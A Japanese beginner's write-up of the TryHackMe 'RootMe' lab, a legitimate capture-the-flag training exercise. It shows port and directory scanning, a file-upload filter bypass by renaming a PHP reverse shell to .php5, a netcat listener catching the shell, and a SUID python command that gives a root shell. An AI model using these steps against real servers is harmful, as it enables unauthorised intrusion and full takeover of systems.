はじめに
今回は私がTryHackMeで初めて解いたPractice問題「RootMe(難易度はEasy)」のWriteupを書こうと思います.ちなみに初Writeup執筆なので改善点などありましたがぜひ教えてください.
Task1:Deploy the machine
これはただマシンを起動させるだけです.今回はVPNを使用します.
Task2:Reconnaissance
ポートスキャン
sudo nmap -p- -vv -T4 -O -sV [IPアドレス]
この結果から空いているポートは(22番と80番)ということがわかります.
それ以外にもそのポートが何のサービスがやバージョンなどもわかります.
ディレクトリ探索
gobusterを使ってディレクトリ探索をします.
gobuster dir -u 10.10.42.5 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
dir
でディレクトリ探索,-u
でURLの指定,-w
で使用するwordlistのpathを指定します.
念のためlogも出力しときます.
いくつかのディレクトリなどが見つかりました.
Task3:Getting a shell
ここでブラウザから,標的マシンのIPに接続します.
なんかかっこいいサイトに繋がりました.
panel
につないでみます.
フォルダをアップロードする画面見たいですね.
ここでのヒントはSearch for "file upload bypass" and "PHP reverse shell".
となっていたので調べてみます.
file upload bypass
はフォームを通じて悪意のあるファイルをアップロードして対象サーバで実行する手法?みたいな感じですね.
PHP reverse shell
は検索するとそれっぽいGithubのリポジトリが出てきました.
これをcloneしてphp-reverse-shell
をvimで開いて以下のように変更します.
$ip = '自分のIPアドレス';
$port = 1234;
この時VPN接続している人はip a
コマンドで確認してください.
*eth
のほうではなくtun0
の方のIPアドレスです.
ポートは変えなくてもいいんですかね?(変えなくても上手くいきました.)
このPHPファイルを先ほどのフォームからアップロードします.
許可がないらしくアップロードできません.
"file upload bypass"について調べた時に拡張子を変えるというのも書かれていたので,.php
から,.php5
に変えてみます.
成功したようです.
ここでアップロードしたファイルは先ほどのディレクトリ探索の時にも出てきた/uploads
ディレクトリに格納されています.
*標的マシンのIPが変わっているのは気にしないでください.私が一度マシンを再起動してIPが変わったからです.
攻撃者端末側でnetcat
コマンドを用いて指定したポートでの通信を待ち受けます
nc -lnvp 1234
上記のコマンド実行後,先ほど標的マシンにアップロードしたphp-reverse-shell.php5
をクリックすることでPHPスクリプトを実行します.
これによりnc
コマンドで待ち受けていた攻撃者端末にシェルが取得できるはずです.
*私はここでなぜかWARNING: Failed to daemonise. This is quite common and not fatal. Connection timed out (110)
というエラーが出て1時間ほど格闘しました.(FWを無効にしたりIPアドレスに間違えがないかなど確認しましたが,原因はわからず最終的にkali linuxがわを再起動したらできました)
今回のflagはuser.txtにあるのがわかっているのでファイル検索します.
find -name user.txt
/var/www/user.txt
にあることがわかったのでこれをcat
とかで見ればOKです.
Task4:Previlege escalation
権限昇格についてです.
Search for files with SUID permission, which file is weird?
まずそもそもSUIDとはということで、プログラムを誰が実行しても指定したユーザーの権限によって実行するよう指示するもの。だそうです.
ヒントにはfind / -user root -perm /4000
とあったのでとりあえず実行してみます.
ちなみにこのコマンドは,ルートディレクトリから始まり、所有者が"root"ユーザであり、実行可能なセットユーザーID (SetUID) ビットが設定されているファイルを検索するコマンドです.
上の結果からpythonが怪しそうですね.
Find a form to escalate your privileges.
ヒントがSearch for gtfobins
なのでとりあえず調べてみます.
gtfobinsは権限昇格・リバースシェルの起動などが簡単にできるコマンド集みたいなものですかね?
ここでpythonに関するコマンドを検索してみます.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
このコマンドを入力します.whoami
コマンドで確認すると,実行前はwww-data
だったのに対して,実行後はroot
になっています.
後は先ほどと同様にfind -name root.txt
で検索してflagが見つかります.
おわりに
初めてWriteupを書いてみましたが,自分の復習にもなるのでOUTPUTはやはり大事ですね.
ここまで読んでくれた皆さん,よろしければ改善点などあればコメントいただけると幸いです.
ありがとうございました.